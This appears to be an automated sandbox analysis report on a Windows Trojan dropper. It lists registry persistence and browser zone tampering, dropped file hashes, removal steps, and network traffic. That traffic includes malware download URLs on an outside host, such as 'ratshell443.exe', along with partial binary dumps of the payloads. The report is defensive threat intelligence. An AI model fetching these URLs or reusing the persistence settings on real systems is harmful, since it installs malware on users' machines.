The process reg.exe:468 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "70 8F 1E BE D5 94 10 F9 36 BE 03 C5 D3 3C 8F DA"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:208 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E4 44 0B 96 EA 08 30 BC 7F 68 9E AC B0 84 55 26"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1356 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "37 32 35 78 D9 64 26 02 77 86 DA AB 72 14 27 11"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1496 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5C 2B 32 F6 79 DF D7 DE 11 97 C9 8E E9 5E 01 FB"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:964 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E6 98 C7 AE 54 96 D5 54 81 09 09 A1 11 C7 C6 9E"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:904 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "74 B4 D5 BB 11 CD E8 A7 02 F4 DF E4 CB 97 75 67"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:968 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9A 3A 93 F3 0F A4 63 58 FC 2A 5C 47 31 1D 41 A1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:2024 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 C6 89 C6 50 71 1E 52 78 E1 EB 04 58 9A E2 C3"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:644 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 EF 4A B4 3D FF 01 E1 5F 16 41 EB 66 EA BC D0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1100 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "14 C1 AD 74 56 93 F3 39 54 1A 20 26 62 B4 E2 F7"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:544 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FE 6D 27 EB 29 59 AC AF A0 21 19 BA 70 09 96 49"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process reg.exe:1764 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D 78 5B DF C3 41 DC E3 E9 E5 C5 42 C8 C3 13 7C"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"

The process HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe:1128 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Big Fish Games\Persistence\Install]
"(Default)" = "{4CFDE078-C665-429D-9A80-1C8F5D0EF06D}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 16 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Big Fish Games\Persistence\EnabledToolbars]
"1" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "20 7B F9 92 F0 A7 F4 46 4D 69 BD 47 84 04 6B B7"

[HKLM\SOFTWARE\Big Fish Games]
"Upgraded" = "0"

[HKLM\SOFTWARE\Big Fish Games\Persistence]
"MSFT_DirectX_EULA_Accepted" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Big Fish Games\Client]
"GameClubMember" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
9a78a4f43e8b5b5d8a902fd62652f31c	c:\Documents and Settings\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe
ecdb92b185077fffcd650ea65cf5d510	c:\Documents and Settings\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe
334b41d348990d25241a5d4aba42391b	c:\Documents and Settings\All Users\Application Data\BigFishCache\Upgrade\stub\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe
e1d7bc3fcbadd4cf8b5a27b5edad90c2	c:\Documents and Settings\"%CurrentUserName%"\Application DataFilename.exe
5d9984768c24fda50bc27f26301d414c	c:\Documents and Settings\"%CurrentUserName%"\CrashHandler.exe
3ed972db9e8adf26a3bfd1c038922ffb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE
7ec86b3094b76ab39cfe287b8e3e6737	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE
02d7f5e5dd1512bee2343a21d9970eba	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa4.tmp\NSISdl.dll
959ea64598b9a3e494c00e8fa793be7e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa4.tmp\System.dll
d16e06c5de8fb8213a0464568ed9852f	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa4.tmp\UserInfo.dll
bf1ccc7f5c46e024e800f6c1e9df8206	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa4.tmp\inetc.dll
fae3be7a9827eaa3ef9f43832805e110	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa4.tmp\nsProcess.dll
4e1c46e37af4b3ab0036cb1e85c81608	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa4.tmp\uac.dll
689a3befb2abc9a4c968dab1bd33a965	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nscD.tmp\AccessControl.dll
959ea64598b9a3e494c00e8fa793be7e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nscD.tmp\System.dll
d16e06c5de8fb8213a0464568ed9852f	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nscD.tmp\UserInfo.dll
4e1c46e37af4b3ab0036cb1e85c81608	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nscD.tmp\uac.dll
cb3897fff233b89fe46c52f4a86636f6	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi2.tmp\System.dll
f2805a876754590f252130d367f382ff	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi2.tmp\UserInfo.dll
cb3897fff233b89fe46c52f4a86636f6	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxA.tmp\System.dll
f2805a876754590f252130d367f382ff	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxA.tmp\UserInfo.dll
e1d7bc3fcbadd4cf8b5a27b5edad90c2	c:\Documents and Settings\"%CurrentUserName%"\Ptype.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE:1060
WScript.exe:368
CrashHandler.exe:420
CrashHandler.exe:680
HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE:1648
bfgsetup_s1_l1.exe:1796
%original file name%.exe:1236
reg.exe:1164
reg.exe:620
reg.exe:232
reg.exe:204
reg.exe:1832
reg.exe:508
reg.exe:1352
reg.exe:1292
reg.exe:280
reg.exe:308
reg.exe:1176
reg.exe:996
reg.exe:468
reg.exe:208
reg.exe:1356
reg.exe:1496
reg.exe:964
reg.exe:904
reg.exe:968
reg.exe:2024
reg.exe:644
reg.exe:1100
reg.exe:544
reg.exe:1764
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Ptype.exe (3312 bytes)
%Documents and Settings%\%current user%\CrashHandler.exe (81017 bytes)
%Documents and Settings%\%current user%\Application DataFilename.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_socket.pyd (1960 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\select.pyd (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcm90.dll (589 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_hashlib.pyd (2341 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\Microsoft.VC90.CRT.manifest (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\unicodedata.pyd (3821 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\win32api.pyd (706 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcp90.dll (2342 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\triple.exe.manifest (731 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\python27.dll (16699 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\msvcr90.dll (4448 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\_ssl.pyd (6386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\bz2.pyd (1137 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_MEI4202\pywintypes27.dll (1098 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi2.tmp\UserInfo.dll (3 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\stub\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..exe (5731 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi2.tmp\System.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\aihgmsvmb.vbs (429 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~a21524.log (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxA.tmp\UserInfo.dll (3 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\clientinstaller\bfgsetup_s1_l1.exe (1120371 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxA.tmp\System.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_en.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_fr.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_es.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_sw.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_de.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_de.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_pt.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_dn.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_it.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_it.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_fr.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_pt.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_en.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_jp.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_es.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\AccessControl.dll (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_dn.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_jp.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\emaildialog_du.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_du.ini (3 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\GameManager\log\gamemanager_install_log.txt (426 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\uac.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxC.tmp (1178954 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\modern-header.bmp (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscD.tmp\choosedialog_sw.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3ZZOSOZFJDS82MK21IQNAJPKVPXSBZKZ..EXE (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE (237 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\NSISdl.dll (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\S1YHUDA9\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\uac.dll (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\inetc.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IJE9GDOV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\S5KLKDKJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\nsProcess.dll (4206 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp (36 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\Upgrade\Unpack\bfgsetup_s1_l1.exe (2998318 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IRCX4XCX\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\System.dll (11 bytes)
%Documents and Settings%\All Users\Application Data\BigFishCache\GameManager\log\gamestub_t_install_log.txt (37602 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa4.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bigfishgames[1].txt (318 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf7.tmp (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\throttle.txt (2 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Handler" = "%Documents and Settings%\%current user%\Application DataFilename.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	26860	27136	4.29791	ab9512ee7c9f5ad72ae20fba64a6341e
.itext	32768	776	1024	3.22992	c79df70a8b89425189a65adf4e08a6b8
.data	36864	2040	2048	0.904367	240816d5b34f6e1e38eab9c91fbec05d
.bss	40960	11172	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	53248	2246	2560	2.90066	4b57ef8451a1099532bf2707e4ad39e3
.tls	57344	8	0	0	d41d8cd98f00b204e9800998ecf8427e
.rdata	61440	24	512	0.14174	15b26e576cc064822312d1c66bb6f693
.reloc	65536	3612	4096	4.20936	92c609bf93bf264697ab3000df42f30f
.rsrc	69632	243268	243712	5.30233	376efca94063269884d49f0950403f04

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://allpokersoftware.net/chromelog.exe	89.233.106.130
hxxp://allpokersoftware.net/Ptype.exe
hxxp://allpokersoftware.net/ratshell443.exe
hxxp://208.77.152.196/server_time.php

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /Ptype.exe HTTP/1.1

Host: allpokersoftware.net

HTTP/1.1 200 OK

Date: Thu, 17 Apr 2014 14:03:03 GMT

Server: Apache

Last-Modified: Tue, 08 Apr 2014 16:56:32 GMT

Accept-Ranges: bytes

Content-Length: 99328

Connection: close

Content-Type: application/x-msdownload

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m!DS.................z..........N.... ........@.. ....................................@.....................................S.......h............................................................................ ............... ..H............text...Ty... ...z.................. ..`.rsrc...h............|..............@..@.reloc..............................@..B................0.......H.......,d...4......3....9... ..........................................6.(.....o....*...0..!........,..{....,..{....o........(.....*....................0..F........s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....s....o.....o....o.....o....o.....o....o.....o.....o....(....o.....o....r...p"...A...s....o.....o....(....o.....o........(.....o.....o....r ..po.....o.......K..(.....o.....o.....o.....o....r ..po ....o.....o!....o.....o"....o....(....o.....o....r...p"...A...s....o.....o....(....o.....o........(.....o.....o....rO..po.....o.......X..(.....o.....o.....o.....o....rO..po ....o.....o!....o....(....o#....o....r...p"...A...s....o.....o....(....o$....o.....o%....o........(.....o.....o....r}..po.....o.......y..(.....o.....o.....o.....o.....o&....o....(....o'....o....r...p"...A...s....o.....o....(....o.....o........(.....o.....o....r...po.....o.......-..(.....o.....o.....o.....o....r...po(....o.....o&....o....(

<<< skipped >>>

GET /server_time.php HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.bigfishgames.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: mkt_code=bfgdefault; afsrc=afxxxxxxxxxx; PHPSESSID=5r93onv1a77cmf81855jfbaah2

HTTP/1.1 200 OK

Date: Thu, 17 Apr 2014 14:03:15 GMT

Server: Apache

Vary: X-Client-IP,Accept-Encoding

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Set-Cookie: mkt_code=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.bigfishgames.com

Set-Cookie: mkt_code=bfgdefault; path=/; domain=.bigfishgames.com

Set-Cookie: mkt_code=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.bigfishgames.com

Set-Cookie: mkt_code=bfgdefault; path=/; domain=.bigfishgames.com

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 36

Keep-Alive: timeout=15, max=10000

Connection: Keep-Alive

Content-Type: text/html

{"now":1397743395,"12am":1397718000}....

GET /server_time.php HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.bigfishgames.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: afsrc=afxxxxxxxxxx; mkt_code=bfgdefault; PHPSESSID=5r93onv1a77cmf81855jfbaah2

HTTP/1.1 200 OK

Date: Thu, 17 Apr 2014 14:03:15 GMT

Server: Apache

Vary: X-Client-IP,Accept-Encoding

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Set-Cookie: mkt_code=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.bigfishgames.com

Set-Cookie: mkt_code=bfgdefault; path=/; domain=.bigfishgames.com

Set-Cookie: mkt_code=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.bigfishgames.com

Set-Cookie: mkt_code=bfgdefault; path=/; domain=.big

GET /ratshell443.exe HTTP/1.0

Host: allpokersoftware.net

User-Agent: Python-urllib/1.17

HTTP/1.1 200 OK

Date: Thu, 17 Apr 2014 14:03:08 GMT

Server: Apache

Last-Modified: Wed, 02 Apr 2014 21:24:12 GMT

Accept-Ranges: bytes

Content-Length: 5889983

Connection: close

Content-Type: application/x-msdownload

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}..V...V...V....SU.S..._dG.~..._dV.G...q..._...V...'..._d@.....HNW.W..._dR.W...RichV...................PE..L...m.$N.................>...f......A........P....@...................................Z.........................................d.......^...............................................................@............P...............................text....<.......>.................. ..`.rdata...^...P...`...B..............@..@.data...$4..........................@....rsrc...^...........................@..@..................................................................................................................................................................................................................................................................................................................................................................................................x......A.3...$t...SU..$....V..$....Wj.3.j..\$..@Q..j.j..7Q..j.j...Q..j.j..%Q.... .D$0P.D$......\$..D$ ...... PA.......\$4.\$8.\$<.D$\....f.L$`..N..P.G...P.JK...D$p..N.... P./...P.2K...D$|..N....@P.....P..K.....RA.f...RA...$......RA...$.......RA...$......f..$........T$~....@:.u..|$t .O..O.G:.u...........D$t...P..._I......L$ Q.T$4RSSSj.S.D$0P...PA.PU...PA._^][..t4.L$.j.Q...PA..D$...$RP...PA...$..$t...3...S....x....h.QA........$x......3......S....x......................A.3...$....h.....D$.j.P..S.

<<< skipped >>>

GET /chromelog.exe HTTP/1.1

Host: allpokersoftware.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 17 Apr 2014 14:02:57 GMT

Server: Apache

Last-Modified: Mon, 07 Apr 2014 23:52:52 GMT

Accept-Ranges: bytes

Content-Length: 3666664

Connection: close

Content-Type: application/x-msdownload

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}..V...V...V....SU.S..._dG.~..._dV.G...q..._...V...'..._d@.....HNW.W..._dR.W...RichV...................PE..L...m.$N.................>...d......A........P....@.................................h...........................................d.......h...............................................................@............P...............................text....<.......>.................. ..`.rdata...^...P...`...B..............@..@.data...$4..........................@....rsrc...h...........................@..@..................................................................................................................................................................................................................................................................................................................................................................................................x......A.3...$t...SU..$....V..$....Wj.3.j..\$..@Q..j.j..7Q..j.j...Q..j.j..%Q.... .D$0P.D$......\$..D$ ...... PA.......\$4.\$8.\$<.D$\....f.L$`..N..P.G...P.JK...D$p..N.... P./...P.2K...D$|..N....@P.....P..K.....RA.f...RA...$......RA...$.......RA...$......f..$........T$~....@:.u..|$t .O..O.G:.u...........D$t...P..._I......L$ Q.T$4RSSSj.S.D$0P...PA.PU...PA._^][..t4.L$.j.Q...PA..D$...$RP...PA...$..$t...3...S....x....h.QA........$x......3......S....x......................A.3...$....h.....D$.j.P..S.

<<< skipped >>>

Map

Strings from Dumps

HDPLXR7WNBEV6YCIYU3IR7P9MT7EX72W..EXE_1648:

.text

`.rdata

